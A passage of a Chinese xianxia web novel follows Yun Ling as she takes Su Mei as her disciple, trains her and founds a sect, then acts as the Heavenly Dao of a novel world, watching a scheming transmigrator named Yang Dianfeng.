“哎呀!”不久后,苏梅房间内突然传出一声惊呼,充满了不可置信……
第二天清晨,云灵出了房门,步入厅堂,只见苏梅正忙碌着。
“仙子,您醒了?快请用膳。”苏梅见云灵出现,连忙放下手中的首饰,恭敬地邀请她用餐。
云灵的目光落在苏梅身上,不由一怔。经过凤灵果洗礼,苏梅仿佛脱胎换骨,原本清秀的面容变得月貌花容,双眸清澈见底,肌肤如雪般细腻,身姿优雅,唇色自然红润。
“你真是美若天仙,连我都要动心了呐,这凤灵果真是神奇!”云灵对凤灵果的效果称赞连连。
苏梅听罢,脸上飞起两朵红云,显得羞涩不已。昨夜,她体验了凤灵果带来的蜕变过程,排出体内杂质,使她感到身心舒畅,六识和身体都变得异常轻盈。
“仙子过誉了,我已经用过早餐,您请慢用。”苏梅轻声回应,然后坐回原处,制作首饰。她的手指在首饰间舞动,每一个动作都显得那么轻巧而精准,如同蝴蝶在花间穿梭,充满了灵动之美。
早餐过后,云灵欣赏了一番苏梅的手艺,心中对她的技艺赞不绝口。随后,她便拉着苏梅,准备进行拜师仪式。
“仙子,我资质低微,怎能有资格成为您的弟子……”苏梅犹豫着,话还没说完,就被云灵打断:“你昨夜食了那凤灵果,身躯已得到改造,修炼对你来说不再是难事。若你不愿拜我为师,那就得赔我果子的钱,五千万灵石,你拿得出来吗?”
苏梅一时语塞,她本想反驳什么果子那么珍贵,却不知如何开口。她从未与人争执过,面对云灵的强硬态度,她感到有些手足无措。
“好啦,拜师而已,
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能否修炼是我的事,你不必担心。即便你资质平平,只需安心拜我为师即可。”云灵温声哄道。
在云灵的坚持下,苏梅终于答应了拜师。食了凤灵果后,她不知自身拥有了凤灵体,那些年因资质低微而受的打击,让她对修炼失去了信心。
但在云灵的鼓励下,她决定放下顾虑,勇敢迈出这一步。
云灵伸出右掌,立誓道:“彩凤娘娘、瑶池娘娘、后土娘娘在上,今有云灵收苏梅为嫡传弟子,今后将用心教导她修心作德。苏梅不弃,云灵便不离,请彩凤娘娘、瑶池娘娘、后土娘娘见证。”
随后,她转向苏梅:“该你了。”
苏梅学着云灵的样子,伸出右掌立起,对着天空立誓:“彩凤娘娘、瑶池娘娘、后土娘娘在上,今有苏梅拜云灵为师,今后诚心诚意聆听教诲,不敢背离,请彩凤娘娘、瑶池娘娘、后土娘娘见证。”
话音刚落,天空中传来一声巨响,紧接着,漫漫花瓣飘落,整个天空被彩霞覆盖,神乐齐奏。这是三位神祇见证了她们师徒缘,降下异象以示认可。
这股异象震撼了苏梅,她连忙跪地,虔诚祈祷。云灵也是第一次见到这样的景象,同样跪地,虔诚膜拜。
这股异象,只有云灵和苏梅能感应到和见到,整个世界的其它生灵都无法见到或感应到。
拜师仪式过后,得知苏梅识字,云灵便拿出一本《经脉穴位大全》,交给她学习。
即使是在修行界,云灵认为经脉和穴位的重要性都是不言而喻。识别经脉有助于修士在没有内视能力的情况下了解自己的身体状况,而识别穴位则能在没有灵气的情况下打击对手的周身要害。
既然已经收了苏梅为弟子,云灵便将她的修炼事宜提上日程。
第二日,云灵刚踏入岭南城的暮家商会,立刻有侍者迎上前来,礼貌地询问:“尊客,请问有什么能为您效劳的?”
“你们这有什么阵法,是可以限制人离开,但又不会伤害到人的?”云灵问道。
她打算为苏梅修炼天罗地网式,准备一个合适的场所。苏梅的家空间有限,不适合修习;而外界环境又过于广阔,不利于初学者的修习。因此,云灵希望在暮家商会找到一种特殊的阵法。
“尊客,您所需的阵法我们确实有。这种阵法名为封锁阵,它能限制阵内之人离开,但不会对其造成任何伤害。”侍者听完云灵的需求后,恭声回答。
“那么,带我去看看吧。”云灵表示。
“尊客,请跟我来。”侍者在前面引路,带着云灵和苏梅走向楼梯,前往商会的二楼。
二楼摆满了各种阵盘和材料。侍者直接带云灵来到封锁阵的展示区,让她挑选,并在一旁详细讲解。
云灵挑选了一个由灵木制作的阵盘,以确保不会沾染罪孽。她选择了一个极品封锁阵,关注的是阵法的功能和品质,而非价格。
挑好封锁阵,云灵问道:“你们的法衣在几楼?”
“尊客,衣裳类的售卖品在五楼,请随我来。”侍者回答。
来到五楼,云灵看到各式各样的衣裳。云灵已经有过购买经验,因此不以为然。
来到五楼,云灵看到各式各样的衣裳。云灵已经有过购买经验,因此不以为然。
苏梅是木灵根的凤灵体,云灵为她挑选了一件竹青色的凤纹裙,并一口气买了五件相同的。
其后,云灵在暮家商会又购得一门名为“控灵术”的法门。
控灵是所有术法的基础,修士施展术法的关键在于如何控制和操纵灵气。任何复杂的术法,都是从基础演化而来,而控灵的领悟程度,直接关系到修士能够施展的威力和效果。
例如,对于拥有火灵根的修士而言,若对控灵有深刻的理解和领悟,即便未曾习练专门的功法,也能施展出从简单的火球术到复杂的火烧漫天等大型火系术法。
云灵那以神力为攻击手段,按理说,也属于控灵的一种。她的神力心随意动,拘拿捉捏皆随心所欲,这正是依靠她对于神力操控力。
除了控灵术,云灵又在暮家商会购买了基础术法中的清洁术、灵雨术,这才带着苏梅离开。
61. 修行世界
离开暮家商会,云灵决定带着苏梅出城,准备修习天罗地网式。
“两位仙子姐姐,需要坐车吗?”一个清脆的少女声音传来。云灵顺着声音望去,看到一个女孩坐在一辆奇特的车上。
这辆车类似于云灵记忆中的三轮车,只不过在修行界,这种车辆结构简单,仅需能量驱动。
那些善德修士为了便利凡人生活,制作了各种简易而高效的工具。这些工具不需要复杂的操作,便能让凡人轻松使用。
苏梅随云灵走了许久,已经感到疲惫,但她未曾抱怨,云灵自是看在眼里。
岭南城规定,只有元婴修为以上的修士才能在城内飞行。修士们可以凭借身法轻松赶路,但凡人却无法做到。
云灵见女孩询问,便毫不犹豫地点了点头。女孩见状,高兴地邀请云灵和苏梅上车。
这辆三轮车的前座有一个掌舵装置,装置上有一个能量驱动槽,云灵注意到,驱动槽内使用的是灵珠作为能量。
车辆后座有两个独立的位置,与前座之间有足够的空间,即便是体型较大的人也能舒适地活动。
云灵和苏梅上车后,女孩通知了一声,便启动了车辆。车速快而稳,乘坐体验舒适。
城内道路有专为车辆行驶而设的,与行人道路分开,因此少女无需担心与行人相撞,可以安心驾驶。
天气晴朗,车辆没有顶棚,云灵和苏梅便一路欣赏着沿途的风景。苏梅第一次乘坐这样的车,感到非常惊奇,她拉着云灵喋喋不休表达自己的兴奋之情。
不过两刻钟,车辆便抵达城门口,缓缓停下。
少女恭敬地向云灵和苏梅道别:“两位仙子姐姐,目的地到了,祝你们旅途愉快!”
云灵对少女的服务态度感到满意,她手心显化十枚灵石,递给少女,温和地笑道:“小妹妹,这灵石你拿着,多了就当是给你的奖励,如果少了你告诉我,我再补上。”
“可是仙子姐姐,车费只需五十灵珠。”少女连忙摆手,显得有些手足无措。她一天的收入也不足一枚灵石,云灵的慷慨让她感到惊讶。
“收下吧,这是你应得的。”云灵再次温和地说道。少女这才小心翼翼地接过灵石,连声道谢。
告别了少女,云灵和苏梅走出城外。她取出紫金莲抛向半空。
只见紫金莲在空中缓缓变大,直至方圆十丈宽,这才缓缓降落。
云灵抱着苏梅跳上离地半丈高的紫金莲,她在驱动槽中放入一枚上品灵石。随着云灵的驱使,紫金莲载着她们向城外的岭南山脉飞去。
云灵和苏梅到达了一个被山峰环绕的盆地,这里风景秀丽,环境幽静,是修炼的好地方。
她们降落后,云灵首先拿出果子让苏梅饱腹,然后拿出封锁阵,启动阵盘,只见一道透明的结界在空地上形成,范围大约两丈见方。
她让苏梅先进去试试,确认她无法自行离开,这才放心地点了点头。这个极品封锁阵可以根据需要调整大小,最小可至一丈,最大可达千丈。
布置好阵法后,云灵让苏梅在阵外稍作等待,自己则去捕捉一些鸟雀。如今的季节并不是鸟雀繁殖的季节,因此云灵并不需要顾虑会干扰到鸟雀的繁衍。
当云灵正在捕捉鸟雀时,突然听到苏梅惊恐的呼救声。
原来,苏梅被一群猴子围住了。这些猴子中,有的是二阶妖兽,有的则是一阶。
苏梅被围在中间,吓得脸色苍白,不断尖叫。云灵见状,忍不住笑了,她上前安抚苏梅:“别怕,它们只是好奇,不会伤害你的。”
苏梅紧紧抓住云灵,不敢去看那些猴子。云灵于是召唤了一只小猴子过来,鼓励苏梅摸摸它。
在云灵的安慰下,苏梅终于鼓起勇气,颤抖着摸了摸小猴子的头。小猴子并没有攻击她,反而显得十分温顺,这让苏梅稍微放松了一些。
云灵接着给每只猴子分发了一颗丹药,告诉它们不要吓唬苏梅,也不要欺负她。
看到猴子们听从云灵的话,苏梅这才完全放下心来。
在苏梅完全平静下来后,云灵让她留在封锁阵内,自己则继续去捕捉鸟雀。
不久,云灵便带回了百只鸟雀,开始教导苏梅天罗地网式的诀窍。
苏梅虽是初学,但身怀凤灵体,她身姿轻盈,学习速度很快。经过云灵几次指点,苏梅已能初步掌握技巧,进步显著。
在此期间,周围的猴群也时常来阵法外玩耍,有时带来果子,有时则在一旁观看苏梅修习。
它们好奇地观察苏梅的动作,甚至模仿起来。但云灵担心它们会不小心伤害到鸟雀,因此不敢捕捉鸟雀给它们练习。
猴子们聪明地学会了自己捕捉鸟雀习练,而云灵不得不花费更多时间监督它们,以防它们伤害到鸟雀。
花在纠正猴子们的时间甚至比指导苏梅的时间还要多,这让她感到有些无奈。
云灵不仅指导苏梅修习天罗地网式,还一边向她传授神祇的理念,并教她如何与妖兽和谐相处。
在暮云的监督下,那些猴子并没有伤害到鸟雀,它们虽然模仿着天罗地网式,但并未得到天罗地网式的诀窍精髓,虽只是不伦不类的习练,它们的实力也在不知不觉中得到了提升。
月余时光,如白驹过隙,苏梅在云灵的悉心指导下,天罗地网式已臻至大成之境。然而,云灵不甘于此,竟请来众多一阶鸟雀,以助苏梅更进一步。
这些一阶鸟雀,速度如电,灵巧非凡,令苏梅再次感受到初学时的无力与挫败。
苏梅内力尚浅,仅达小成之境,凡鸟已足以让她修习天罗地网式,何况是这些灵鸟?
十日后,苏梅连鸟羽之边都难以触及,云灵无奈,只得让灵鸟离去,再次请来凡鸟。
“徒儿,你留在此地,为师先回城一趟。”云灵觉得苏梅的修炼该提上日程了,决定返回岭南城,寻觅修炼法门。
“是,师尊。”苏梅乖巧地点头,虽然内心不愿独自留在此地,但她对云灵充满信任,相信师傅不会让她置身于危险之中。
云灵见苏梅点头,便对在场的妖兽一番交代,请求它们照看苏梅,并慷慨地赠予丹药作为报酬。
一切安排妥当,云灵这才动身离去。
回到岭南城,云灵先至暮家商会,又至广场,却未发现任何合适的修炼法门。
暮家商会虽有功法出售,但最高只至元婴期,这些自然入不了云灵的眼。
广场上的摆摊虽也有功法,但要么残缺不全,要么平庸无奇,要么低阶不堪,云灵同样不屑一顾。
云灵不知,那些真正的高阶功法,谁又愿意轻易出售?更何况,云灵所求,乃是能让人修炼到飞升的法门呢?
在这个世上,别说能修炼至飞升,即便是能修炼至化神境界的功法,也是凤毛麟角,且大多被顶尖宗门或世家所掌控,能流传在外的,少之又少。
云灵无奈之下,得知暮家拥有拍卖会,便多次蹲守,却依旧一无所获,连杨家的拍卖会也未能找到满意的法门。
无奈之下,云灵只得动用紫金玉牌,加上与大小姐的深厚交情,要求暮家拍卖会一旦有元婴境界以上的修炼法门出现,即刻通知她。
一时寻不到合适法门的云灵,只得返回,继续指导苏梅修习。
大半年后,云灵终于接到通知,下次拍卖会将有她所求的修炼法门。
这门修炼法门无名,是一位散修在古修墓地中偶然所得。虽然这门功法能修炼至化神境界,却只适合女子修炼,那散修无奈之下,只得将其拍卖…
云灵付出昂贵代价,一举夺得这部无名功法。拥有整个云霞世界的云灵,在这个世界只要是依靠财富就能得到的,她将无比轻松。
暮家商会信誉卓著,加之云灵身份特殊,因此无人知晓是云灵拍得这部修炼法门,即便有人心怀不轨,也无从下手。
云灵在暮家客栈小住两日,期间请神祇宝典将那无名功法改造一番。她本只期望能修炼至飞升,却未料到经过神祇宝典的改造,这门功法竟能直接修炼至混元金仙境界,令云灵惊叹不已。
改造后的功法,不仅更适合女子修炼,还是身躯、灵魂、灵力,三者同修的存在。
云灵将这部功法命名为——素灵心法,其中“素”代表纯净,“灵”则是天罗地网式的精髓。
两日后,云灵退房离去,在暮家商会购置了一些宫殿雕刻与竹屋小院。
这些宫殿虽小巧玲珑,长宽高均不足十寸,却不容小觑,它们出自阵法宗师之手,只需放置于地面并启动禁制,便能化为宏伟宫殿,内部装饰豪华,物品一应俱全,无需再添置什么物品。
云灵将素灵心法传授给了苏梅,随后便独自踏上了寻觅长居之地的旅程。
她穿梭在山脉之中,历经月余,终于找到一个令她欢喜的长居之地。
那是一座孤峰,峰顶云雾缭绕,直插云霄,而四周则是一望无际的草原,风吹草低见妖
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兽。
想要在此长居,还需得到掌管这片地域的妖兽许可。有些妖兽对人类并无好感,未经允许,云灵绝不会贸然占据此地。
幸运的是,她所拜访的妖兽,竟是昔日有过一面之缘的百合。得知云灵的来意后,百合妖兽欣然同意,让云灵获得了这片土地的居住权……
******
云灵再次醒来时,发现自己竟然回到了云霞世界,身体也变回了十岁的模样。她心中充满了困惑与不解,明明与大小姐一同飞升了,为何转眼间又回到了这里?
当年,大小姐得知云灵在岭南安居,便通知她迎接,两地相隔甚远,即便是借助飞行法器,也需要耗费半年的时间。
对于财大气粗的大小姐而言,自然有更好的出行方式。
修行世界,中等以上的城池几乎都设有传送阵,这些法阵能够将修士瞬间传送至任何设有传送阵的地方,极大地方便了修士们的长途跋涉。
虽然使用传送阵的费用颇为昂贵,非一般修士所能承受,唯有那些身家丰厚的修士,方能支付得起这笔费用。
后来云灵才得知,大小姐暮璃早已经离开丹法宗,不再是丹法宗的嫡传弟子。
放着顶尖宗门嫡传弟子的身份不要,大小姐的行为让很多人不解,但大小姐根本没有丝毫解释,离开丹法宗的她,更是选择散尽修为,转而重修。
已是凤灵体的暮璃,即使重新修炼,凭借她的资质与悟性,她的修为提升也如喝水般简单,这还是她压缩锤炼灵气之后的结果。
她的修为提升速度让所有人闭上了嘴巴,毕竟大小姐自诞生以来,无论是什么事,都稳稳碾压着同境界的修士,让各大天骄谈大小姐色变,毫无反抗之力。
迎接了大小姐到来之后,云灵开启了她悲剧的八百年生涯。
大小姐看上了云灵选中的山头,直接建立了素女宗,妖兽百合成了大长老,云灵则成为了二长老。
素女宗招收弟子重质不重量,只招那些神魂纯净的女孩子,背靠大小姐这棵大树,素女宗人员虽少,但任何宗门也不敢小窥。
素女宗不拘泥于灵根纯度,因为有云灵供应天灵果,素女宗的弟子都是天灵根的存在,因此,素女宗只有外门弟子与精英弟子两种。
在暮璃的领导下,素女宗弟子团结友爱,行善积德,在修士与妖兽大争之势下,素女宗与妖兽友善相处,别具一格。
在云灵与大小姐飞升之前,素女宗已经成为修行界顶尖宗门,成为让众多修士仰望的存在。云灵更是成为了修行界一代炼丹宗师,而她的弟子苏梅,也成为了一代炼器宗师。
回忆完毕,云灵愤愤不平,她呼唤着神祇宝典,问道:“这是怎么回事?我为何未能飞升?”
神祇宝典只显化了几个字:“还不到时候!”云灵无奈,既然神祇宝典说不到时候,她也无计可施。
“不到时候就不到时候,为何连我的修为也一并收走了?”云灵内心抱怨,她现在不仅武功没了,连修为也没了,一切都要重新开始。
如今的云霞世界,天地玄黄四阶灵药应有尽有,法宝数不胜数,这些法宝都是苏梅亲自炼制的,每一样都精巧美绝。
如今的云灵,除了彩凤娘娘赋予的修炼法门、神祇真眼、凤女神火之外,还手握素灵心法、天罗地网式、经脉穴位大全、万丹大全,从武功到修行法门,云灵不管是开启武林门派还是建立宗门,都绰绰有余。
云灵才回来没一会儿,就被神祇宝典催促去历练,她无语至极,根本不想历练,只想在云霞世界躺平。但谁让她是神祇宝典选中的三十六位有缘者之一呢?主动权根本不在她身上。
再说,云霞世界都是神祇宝典赋予的,云灵无从选择。
云灵是阿青、花木兰、绾绾、太平公主、上官婉儿、林朝英、赵敏、坂井泉水、阎魔爱之外,注定要成为神祇的第十位有缘者。
其余的有缘者云灵并不知晓,因为神祇宝典还未曾挑中,所以不曾显化名姓。
云灵很是感慨,阿青姑娘是她最崇拜的人,而林朝英则是她之前的祖师婆婆,赵敏曾与她共处。
剩下的那些有缘者,哪个不是大名鼎鼎?
这些人里有原先是传说中的人物,也有历史人物,话本人物,漫画人物,但她们都得彩凤娘娘演化,赋予了真实生命,又获神祇宝典,未来必将成为三十六位神祇之一。
能与她们同是有缘者,云灵感觉是何其荣幸呐!
62. 天道世界
云灵缓缓睁开双眼,四周一片漆黑,万籁俱寂,没有一丝声响。记忆如潮水般涌来,云灵花了好一会儿才将它们融合完毕。
原主是这个世界的天道,而这是一个修仙世界,生灵通过修炼长生,拥有强大的力量。相应的,实力越强的生灵,子嗣繁衍将更加困难。
天道的职责很简单,那就是维护这个世界的秩序,对大恶之生灵施以惩罚,对善德之生灵予以奖赏。
这个话本世界的剧情是:近几百年来,这个世界怪事频发,总有其他世界的人混入,剥夺天道的力量,祸害这个世界的生灵。而这个世界的人非但没有察觉,反而对这些外来者推崇备至,对天道的尊重和敬畏日渐淡薄,导致天道的力量越来越弱,最终……消散了。
云灵从天道的记忆中听到最多的一句话是:“我命由我不由天,我从来不信命,我只信我自己。”
这话听起来似乎没错,但这些人一边高呼“我命由我不由天”,一边却又利用天道的力量,一边抱怨天道不公,一边又理所当然地享受着天道的庇佑。
何其讽刺?
真实世界的天道,一旦寂灭就会化为混沌气流,而这个世界的天道,是作者臆想的产物,所以……太弱了,居然能被修士逼得消散。
云灵决定让众生知晓,没有足够的实力,就应该敬畏天道,否则必遭天罚。
云灵意念刚降临修仙界,便巧遇一位修士渡劫。
她意念微动,那修士的一生便在她脑海中快速闪过。
姓名,灵根,此生善恶,应得何果,应受何罚……
“轰隆……”
天雷落下,那男子嘴角立刻溢出鲜血。男子不语,但云灵却能听见他心中的声音。
『贼老天,有本事你就劈死我!若劈不死我,待我成神之日,便是你泯灭之时!』
听到这话的云灵,决定成全他,谁让他如此渴望死亡呢?
云灵意念微动,原本的劫雷变成了规则神雷,瞬息之间将那人劈成飞灰,连同他的法宝,一并收回天道。
云灵感受着天道的力量,没想到还挺好用,虽只是话本世界的天道,再怎么说也是一个天道,不是吗?
云灵的意念从蛮荒飘至北境,一路所见,妖兽与修士无数,她听到众生的心声,千奇百怪,这是她第一次如此清晰地认识人类。
相比于人类,那些野兽和妖兽的心声,简直太纯真了,云灵意念一动,直接挑选了些妖兽,给它们加持了气运,让它们的修炼之路,更加顺遂。
云灵的意念继续在修仙界观察,最终,她的目光被一个浑身散发着白光的男子吸引。
此男子相貌平平,年三十岁。
云灵眼中的这个男子,颇为奇特,他的灵魂与肉身迥异,却又完美融合。而云灵看他的人生,皆为虚幻,与之前所见之人截然不同。
云灵观察那男子良久,男子似乎有所感应,目光转向了云灵所在之处。
『奇怪,我明明感觉到有人在窥视,怎的那里空无一人?莫非有人用秘宝追踪我?若是如此,这秘宝我定要得手,能让我都无法察觉的隐秘法宝,定非凡物。』
男子心中所想,在云灵耳边响起,让她无语至极。
“杨哥哥,怎么了?”男子身旁的少女,偏头望向他,脸上洋溢着天真与可爱。
『他莫不是又发现了什么宝贝?果然,这男子运气非凡,跟随他这些时日,我也沾了不少光,也不枉我费尽心思引诱他。』
“无妨,我们继续前行。”杨巅峰温柔地看了少女一眼,她对他的信任与欢喜,极大地满足了他内心的虚荣。
云灵一路观察他们的举止,聆听他们的心声,渐渐了解了他们的性格。
男子名为杨巅峰,表面上是个仁义之人。
他常说,只要别人不太过分,他绝不会与人为敌,从不与那些修士同流合污,不做杀人夺宝之事。也就是别人敬他一尺,他敬别人一丈;别人踩他一脚,他会忍;别人断他一腿,他也只踩别人一脚。
他从不觊觎他人之物,他自诩高洁、圣雅,心怀大义,与众不同。
但实际上……他总是找各种借口抢夺他人之物,只要是宝贝就垂涎三尺,不择手段地据为己有,最后还要说一句,他也是无奈。
简而言之,他一边做着卑劣的事,一边还要树立自己的贞洁牌坊。
而杨巅峰身边的女子名为林兰,表面上单纯可爱,实则内心精明。她知道杨巅峰有发现异宝的特殊能力,便假装喜欢他,留在他身边,只是为了分得一些好处。
云灵化作男子模样,在二人必经之路上现身,顺便幻化两只妖兽追赶自己。
云灵直奔二人所在之处,一见他们便高声呼救。
“道友救命!”
“杨哥哥,有人被妖兽追赶,我们快去帮忙。”林兰立刻拔剑,就要去救云灵。
杨巅峰一把抓住她的手,将她拉回。
林兰有些困惑地看向他。
“杨哥哥?”她并未挣扎,似乎对他的任何举动都绝对信任,只是不解他此举的用意,希望他能解释一二。
“此人来路不明,我们先观望一番。”杨巅峰心中暗想,这人身上并无宝物,定是个散修或不入流的修士。虽然修为只比我低一些,但将来定无大成就。现在救他,不过换得一句感谢,不值得。若待他筋疲力尽时再出手,他定会感激涕零。虽然无大用,但多一个忠心的跟班,感觉也不错。
一个急切地想要显露自己的善良,一个则过于自负。两人却未曾察觉,云灵那声求救是多么的敷衍了事。
云灵直奔二人而来,两只妖兽一见他们,立刻转向追赶,两人脸色微变,急忙向前奔逃。
“分散妖兽的注意力!”杨巅峰大喝一声,与林兰一同朝南方奔去,本以为云灵会听话地往西方逃,谁知竟跟着他们。
『蠢货!本想救你一命,现在看来,大可不必。』杨巅峰心中暗骂。
“杨哥哥?”林兰回头看了一眼身后的男子,见他面色不佳,显然受了伤。这两只妖兽的等级并不高,他们三人联手足以战胜,她不解杨巅峰为何要逃。
“先按兵不动,森林如此之大,他怎会如此巧合与我们相遇,其中必有蹊跷。”杨巅峰心中冷笑:『没问题我也要让他有问题,死在这里。竟敢将妖兽引向我,真是蠢货。』
云灵耳朵不聋,他们说话怎的一点也不避讳她。还有,你的心声能不能别这么自信又大声,很是聒噪。
“道友,救救我,只要你们救我,我什么都愿意给你们。”
云灵极其敷衍地求救,前面的两人却未停下脚步。
『什么都愿意?虽然这人表面没有什么宝贝,说不定他还有私藏,还是先救人吧,多个人也多条路。』
林兰准备转身,再次被杨巅峰按住。
『什么都愿意?看你那落魄样,能有什么好东西值得我出手。』
“道友,不是我们不救,这两只妖兽的等级虽不高,但杀了它们散发的血腥味定会引来更多妖兽,届时我们想逃也逃不掉。”
云灵突然觉得能听到心声,也并非什么好事。
“我愿意用千年灵芝作为报酬。”
跑在前面的两人眼睛一亮,齐齐转身。
“既然相遇,便是缘分,今日我杨巅峰就交了道友这个朋友。”
云灵心中冷笑,她何时说过要与他做朋友了?
最终三人合力击杀了两只妖兽,当然,基本上都是杨巅峰出手,云灵只是在一旁观望。
击杀妖兽后,杨巅峰将妖兽的内丹收走,妖兽身上能用的材料也被搜刮一空,这才摆出一副辛苦至极、吃了大亏的模样来到云灵面前。
“道友,我们先离开这里,血腥味定会引来其他妖兽,届时就麻烦了。”杨巅峰心中暗骂,『蠢货,快把千年灵芝给我。』
“那我们先到安全之地,我再将灵芝给你。”云灵面色苍白,面无表情,让人看不出她究竟是难受还是不难受。
“这个不急,灵芝的事可以稍后再说,主要是道友合我眼缘,能在如此大的地方相遇也是缘分,道友若有意,我们可以结伴而行。”杨巅峰心中暗骂,『蠢货,看见我的实力了吧,快把灵芝交出来,你还能跟着我,说不定我心情好还能在后面保护你。再拖延时间,我就找机会让你死在这里。』
云灵听着耳边的心声,再看着面前这个笑得一脸和善的男人……她的眼神中闪过一丝玩味。
“既然道友不急,那便等我们出了森林,我再将灵芝交给道友。灵芝此刻并不在我身上,原本还在思量如何尽快交给道友,既然道友不急,那自然是最好的。”
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听到这话,杨巅峰和林兰的脸色都微微一沉,但很快又恢复了平静。杨巅峰微微一笑,道:“无妨,我相信道友是个守信之人,那接下来道友有何打算?”
『居然敢空手套白狼,想要我保护你,哼!我定要让你吃些苦头,否则你岂不是以为我好欺负?』
云灵仿佛没有听见他的心声,只是露出一个感激的微笑:“我只是来此历练,并无特定目的,不知二位有何计划?”
森林中历练的修士众多,杨巅峰并未起疑。他沉吟片刻,道:“不瞒道友,我和兰儿来森林是为了寻找一种灵药,既然道友也是来历练的,不如与我们同行如何?”
“甚好。”云灵点头应允。
三人简单商议,便定下了接下来的行程。
杨巅峰此行森林,实则是为了寻找契约兽,他听闻森林中有凤凰的踪迹,虽然消息真假难辨,但他还是决定亲自来探查一番,对外则以寻找炼丹灵药为名。
云灵观察到的杨巅峰,乃是修仙世家杨家的旁支后裔,拥有杂灵根的他在家族中并不受重视,是个心高气傲之人。二十八岁时,他的修为仅为炼气八层,几乎被认为是废材。
然而,两年前杨巅峰性情大变,修炼速度突飞猛进,短短两年便从炼气八层跃升至筑基大圆满,距离结丹仅一步之遥。
既然他如此自负,那等他渡劫时给他一个惊喜也未尝不可。
若杨巅峰知道自己想要设计的人,正是自己常吐槽不屑的天道,不知会作何感想。
随后的旅途中,云灵不时幻化妖兽前来骚扰,杨巅峰企图陷害云灵,总是将妖兽引向她,希望妖兽攻击她。然而,那些妖兽选择性失明,只盯着杨巅峰追。
杨巅峰本想陷害云灵,却反被自己所害,几次险些丧命。他想要责怪云灵,却发现对方似乎也颇为狼狈,为了保持风度,只能将责怪的话咽回肚中。
在森林外围转了大半个月,三人一无所获。
他们的修为都是筑基期,不敢深入森林,即便在外围也遭遇了数次危险。原本杨巅峰还打算深入一些,但几次妖兽袭击后,他便放弃了这个念头。外围的妖兽已如此凶猛,若再深入,恐怕会有生命危险。
林兰在三人中是最幸运的,作为唯一的女子,云灵和杨巅峰都颇为照顾她,使她并未受到太多伤害。
云灵也知晓林兰的过去,她同样是修仙世家的后人,虽然她的家族不及杨巅峰的家族显赫,但她作为主支的身份却比杨巅峰要高得多。
林兰确实是出来历练的。在修仙世界,家族背景固然重要,但个人的实力更是关键。林兰的家族非常重视这一点,一旦家中的孩子达到筑基中期,便会被赶出家门,除非成功结丹,否则不得返回家族。
林兰拥有变异冰灵根,天赋非凡。她从五岁开始修炼,十三岁便已达到筑基中期,如今十五岁的她已是筑基后期,距离大圆满仅一步之遥。不出意外,她有望在二十岁前结丹。
这样的天之骄子,怎会看上杨巅峰这样的人?显然不可能。
云灵从两人的心声中了解到,他们相识时间并不长。林兰之所以跟随杨巅峰,是因为杨巅峰的运道。在被多人追杀的情况下,杨巅峰仍能绝地反杀,这样的人显然不简单,只要不陨落,未来必定有大成就。
起初,林兰觉得这样的人值得接触。随着接触,她发现杨巅峰的运气好得惊人,这更加坚定了她跟随他的决心。
杨巅峰之所以愿意带林兰在身边,一是她的天赋,二是她的美貌。一个普通男子难得遇到被自己吸引的美女,自然愿意带在身边,向他人展示自己的魅力。
云灵无法看见杨巅峰的前世,推测可能是因为他并非这个世界的人。对于像林兰这样的本土女孩,云灵能清楚地看到她的前世今生。然而,现在她和杨巅峰在一起,本来的轨迹也变得有些模糊,很有可能会被改变。
“终于出来了。”林兰脸上露出一个开心笑容。
云灵一直表现得老实且话不多,存在感也不高,但此刻,两人的目光都集中在了云灵身上。
“道友,你答应的灵芝……”
林兰刚开口,杨巅峰立刻做出一副温怒的样子,制止了她的话。
“兰儿!”
“略~”林兰吐了吐舌头,将双手背在身后,一副我偏要说的样子。
63. 天道世界
经过这段时间的接触,两人与云灵幻化的男子感情并未加深。林兰很聪明地选择了讨好杨巅峰。
“嗯,给你,多谢杨道友的照料。”
云灵从储物袋中取出灵芝,杨巅峰脸上的肌肉抽搐了一下,眼底闪过一丝怒意。
“道友客气了。”嘴上说着客气,手上却迅速地从云灵手中夺过灵芝。
“不知道友接下来是回家族还是继续历练?”
“继续历练。”云灵听着杨巅峰心底对自己的咒骂,看着他的表演。
“那道友是否愿意与我们同行?”
“杨哥哥……”林兰看出了杨巅峰的想法,立刻站出来扮演那个坏人,一副不情愿的样子。
如果是普通人,见到这副场景一定会选择拒绝。
然而……
云灵就像没看见一样,摆出一副恭敬不如从命的样子。
“那就叨扰杨道友和林道友了。”
杨巅峰和林兰的脸色变得异常难看,他们几乎无法维持表面的镇定。
“长老,是灵芝的气息。”
突然,一群身着蓝色长袍的人从天而降,打断了三人的心思。
领头的是一位金丹后期的中年男子,他的服饰比其他人更为复杂,彰显着他的地位。他身边跟着一位俊美男子,手中抱着一只类似仓鼠的小妖兽,此刻正用它那粉嫩的小鼻子嗅着,指向杨巅峰。
原本它也想指向云灵,但在看到云灵时,寻宝兽立刻收回了爪子,只是用它那明亮的眼睛打量着云灵。
“小子,你手中有千年灵芝。”这不是询问,而是一种肯定。
杨巅峰的脸色变得极为难看,他勉强挤出一个笑容:“前辈,我们身上并没有您所说的灵芝。我们三人才刚刚从森林出来,可能身上沾染了一些气息,让这位道友的寻宝兽误会了。”
“道友?你也配!”金丹期的威压如山般压来,杨巅峰和林兰都跪倒在地,嘴角溢出血迹。
云灵看了看高高在上的一群人,又看了看狼狈的两人,最终决定静观其变。
她默默地退到一旁,找了个石头坐下,仿佛这一切与她无关。
那群人似乎没有注意到云灵的存在,杨巅峰也没有注意到云灵的行为,他的注意力全在面前的这群人身上。
“小子,我也不想为难你们这些小辈,如果你们聪明,还能免受苦难。”
中年男子摆出一副不想为难他们的样子,却用威压让两人不断吐血。
杨巅峰眼中充满了怨毒和屈辱,云灵听到他的心声:『好痛……贼老天,你就这么看不惯我吗!谁都不抢就来抢我,我才刚刚得到灵芝你就要让人抢走!难道我就真的不能成神吗?不!我不相信!我命由我!不由天!我不会死在这里的!还有这死老头,今日之仇……』
云灵暗自好笑,要抢你的是人,你怪天做什么?还有,谁要你死了?戏怎么这么多呢?
“前……前辈……”
杨巅峰的余光突然看见远处悠然坐着的云灵,眼中闪过不敢置信和嫉恨,话锋一转,“我确实得到过灵芝,但是就在刚才我已经将灵芝赠予这位道友,所以才说没有灵芝的,望前辈明查。”
所有人的视线都移到云灵身上,似乎才发现这里还有个人,都是一惊。
方才还坚称无灵芝,如今却言送与人,这等自相矛盾之言,唯有愚人才会信之。
长老向身旁弟子使了个眼色,弟子心领神会。
“灵芝在你手中,速速交出,我等无甚闲暇与你周旋。”
云灵动作一滞,还真有愚人?
